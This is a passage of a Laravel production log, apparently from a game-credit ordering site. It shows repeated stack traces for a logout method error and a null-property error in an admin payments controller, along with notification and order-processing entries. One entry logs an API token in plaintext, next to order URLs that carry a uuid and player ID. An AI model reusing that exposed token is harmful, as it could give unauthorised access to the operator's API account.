#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:17:29] production.INFO: SendAcceptReject: Notification queued {"user_id":529,"notification_type":"request_approved","reference_id":18722} 
[2026-03-24 22:17:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 22:17:32] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:17:33] production.INFO: Constructing job for order: 179462  
[2026-03-24 22:17:34] production.INFO: Handling job for order: 179462  
[2026-03-24 22:17:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:17:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:17:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/626/params?qty=20000&uuid=318271e6-1a2c-4092-b115-098707212fd6&Player_ID=7565665  
[2026-03-24 22:17:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/626/params?qty=20000&uuid=318271e6-1a2c-4092-b115-098707212fd6&Player_ID=7565665","has_body":false} 
[2026-03-24 22:17:35] production.INFO: Operation sent successfully {"operation_id":164332,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wgI-1774379855","amount":2.50695800000000001972466634470038115978240966796875,"status":"processing","product":"SoMatch Amount","game":"SoMatch","notes":[],"created_at":"2026-03-24 22:17:35"}},"processed_data":{"order_number":"ORD-wgI-1774379855","amount":2.50695800000000001972466634470038115978240966796875,"status":"processing","product":"SoMatch Amount","game":"SoMatch"}} 
[2026-03-24 22:17:38] production.ERROR: Attempt to read property "user_id" on null {"exception":"[object] (ErrorException(code: 0): Attempt to read property \"user_id\" on null at /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php:124)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php(258): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#1 /home/talaah/public_html/app/Http/Controllers/Admins/Payments/RequestChargeController.php(124): Illuminate\\Foundation\\Bootstrap\\HandleExceptions->{closure:Illuminate\\Foundation\\Bootstrap\\HandleExceptions::forwardsTo():257}(2, 'Attempt to read...', '/home/talaah/pu...', 124)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController->approveCredit(Object(Illuminate\\Http\\Request))
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('approveCredit', Array)
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Admins\\Payments\\RequestChargeController), 'approveCredit')
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#8 /home/talaah/public_html/app/Http/Middleware/AdminAuth.php(35): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\AdminAuth->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(47): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest(Object(Illuminate\\Http\\Request), Object(Illuminate\\Session\\Store), Object(Closure))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#37 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#38 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#39 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#40 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#41 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#42 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#43 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#44 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#45 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#46 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#47 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#48 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#49 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#50 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#51 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#52 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#53 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#54 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#55 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#56 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#57 {main}
"} 
[2026-03-24 22:17:41] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
